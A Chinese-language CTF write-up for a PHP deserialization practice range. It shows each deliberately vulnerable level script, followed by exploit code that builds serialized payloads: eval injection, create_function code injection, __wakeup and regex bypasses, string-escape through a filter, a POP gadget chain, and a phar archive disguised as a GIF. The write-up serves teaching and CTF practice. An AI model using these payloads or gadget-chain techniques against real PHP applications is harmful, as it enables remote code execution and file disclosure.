PHP反序列化靶场(php-SER-libs-main 第一部分)
此次靶场为utools-php-unserialize-main。适合有一定基础的师傅,内容是比较全面的,含有我们的大部分ctf中PHP反序列化的题型。
level1:
<?php
highlight_file(__FILE__);
class a{
var $act;
function action(){
eval($this->act);
}
}
$a=unserialize($_GET['flag']);
$a->action();
?>
很简单的一个PHP代码,很明显的看到命令执行点是eval调用act。
直接给出构造:
<?php
highlight_file(__FILE__);
class a{
var $act;
function action(){
eval($this->act);
}
}
$a=unserialize($_GET['flag']);
$a->action();
$b=new a();
$b->act="show_source('flag.php');";
echo serialize($b);
?>
得出flag:flag{level1_is_over_come_0n}。
level2
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_GET['param']);
if($a->login())
{
echo $flag;
}
?>
代码分析:
很明显只要能调用login函数我们就能输出flag,而实例化之后只要能使
if ($this->user=="daydream" and $this->pass=="ok")
成立就能够调用我们的login()函数。
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
var $user;
var $pass;
}
$a=new mylogin();
$a->pass="ok";
$a->user="daydream";
echo serialize($a);
?>
得到flag:flag{level2_is_0k_here_you_g0}.
level3
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_COOKIE['param']);
if($a->login())
{
echo $flag;
}
?>
和上面的一模一样的思路但是只要对param参数进行url编码即可。
<?php
highlight_file(__FILE__);
class mylogin{
var $user;
var $pass;
}
$a=new mylogin('daydream','ok');
echo urlencode(serialize($a));
?>
得到flag:flag{level3_is_s0_easy_right?}
level4
<?php
highlight_file(__FILE__);
class func
{
public $key;
public function __destruct()
{
unserialize($this->key)();
}
}
class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
unserialize($_GET['param']);
?>
想要我们的flag必须要自己构造我们的执行函数。
<?php
highlight_file(__FILE__);
class func
{
public $key;
}
class GetFlag
{
public $code;
public $action;
}
$a1=new func();
$b=new GetFlag();
$b->code='}include("flag.php");echo $flag;//';
$b->action="create_function";
$a1->key=serialize(array($b,"get_flag"));
echo serialize($a1);
在这里我们传入我们的create_function函数创建一个匿名函数,并且写入我们的$code赋予的执行语句。
结果就是会执行我们的PHP指令将flag文件包含进来并且输出flag:flag{NI_T_level4_easy_ge_pi}
level5
<?php
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once($this->file);//include_once()函数:引入并执行指定的 PHP 文件
echo $flag;
}
function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
echo show_source('index.php',true);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){//匹配一个或多个数字以及字母o或c
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>
绕过wakeup()函数,然后进行编码绕过正则即可得到flag。
<?php
class secret{
var $file;
}
$pa=new secret();
$pa->file="flag.php";
echo serialize($pa),"\n";//O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
$cmd=urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');
echo $cmd;
?>
level6
<?php
highlight_file(__FILE__);
class secret{
private $comm;
public function __construct($com){
$this->comm = $com;
}
function __destruct(){
echo eval($this->comm);
}
}
$param=$_GET['param'];
$param=str_replace("%","daydream",$param);//会将payload中的%替换为daydream
unserialize($param);
?>
也非常的简单我们只需要执行eval的指令即可。关于str_replace()我们只要没有%不就绕过了吗。
<?php
highlight_file(__FILE__);
class secret
{
public $comm;
}
$pa=new secret();
$pa->comm="show_source('flag.php');";
echo serialize($pa);
得到flag:flag{level6_Is_yue_lai_yue_fu_yan}
level7
<?php
highlight_file(__FILE__);
class you
{
private $body;
private $pro='';
function __destruct()
{
$project=$this->pro;
$this->body->$project();
}
}
class my
{
public $name;
function __call($func, $args)//调用无法访问的方法时自动执行
{
if ($func == 'yourname' and $this->name == 'myname') {
include('flag.php');
echo $flag;
}
}
}
$a=$_GET['a'];
unserialize($a);
?>
也比较简单,我们只需要触发我们的call函数并且达成条件即可得到flag。
<?php
class you
{
public $body;
public $pro;
function __destruct()
{
$project=$this->pro;
$this->body->$project();
}
}
class my
{
public $name;
function __call($func, $args)
{
}
}
$p=new you();
$p->body=new my();
$p->pro="yourname";
$p->body->name="myname";
echo urlencode(serialize($p));
最好是进行一次编码后再进行上传。得到flag:flag{level7_running_with_progress}
level8
<?php
highlight_file(__FILE__);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>
一道简单的字符串逃逸,根据它本来就定义的内容$name=str_replace($safe,"hack",$name);$safe=array("flag","php");
我们可以知道会将$name参数里面的所有的flag或者php全部替换为hack。
关键点来了,如果我们hack替换的是php那么我们是不是就多出一个字符内容了。
根据PHP的特性反序列化以;}结束,后面的字符串不影响正常的反序列化。所以在这个题目中我们只需要利用替换后的内容会多一个字符就可以在序列上挤掉原序列,再加入我们构造的序列来执行恶意代码。
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
}
$a=new test();
$a->user='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
echo serialize($a);
在这里我们先计算好原序列化字符 ,再构造我们自己的序列化内容但是要确保它逃逸 ,也就是替换后多出来的字符与原字符一致。
得到flag:$flag="flag{level8_g0_fun_popp1ng}";
level9
<?php
//flag is in flag.php
highlight_file(__FILE__);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}//$value赋值为flag.php
public function __invoke(){//将对象当成函数的时候自动调用
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){//获取无法访问的属性自动调用
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
构造pop链:
很明显我们的输出点位在Modifier里,先将var赋值为flag.php。
观察代码我们可以利用wakeup()函数内的语句触发我们的toString(),然后toString()触发construct(),construct()会触发get($key)。利用get($key)触发我们的invoke(),然后我们的invoke()就会调用append($value)执行输出flag的行为。
<?php
class Modifier {
private $var="flag.php";
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
$a=new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo serialize($a)."\n";
echo urlencode(serialize($a))."\n";
得到我们的flag:flag{welcom_t0_SOAP_In_level9}
level11
<?php
highlight_file(__FILE__);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php
?>
很明显是phar反序列化:
class TestObject {
}
@unlink("level11.phar");
$phar = new Phar("level11.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$a = new TestObject();
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
在upload目录上传文件,利用phar://读取上传文件目录得到flag:flag{Can_level11_s_Phar_be_s0_easy?}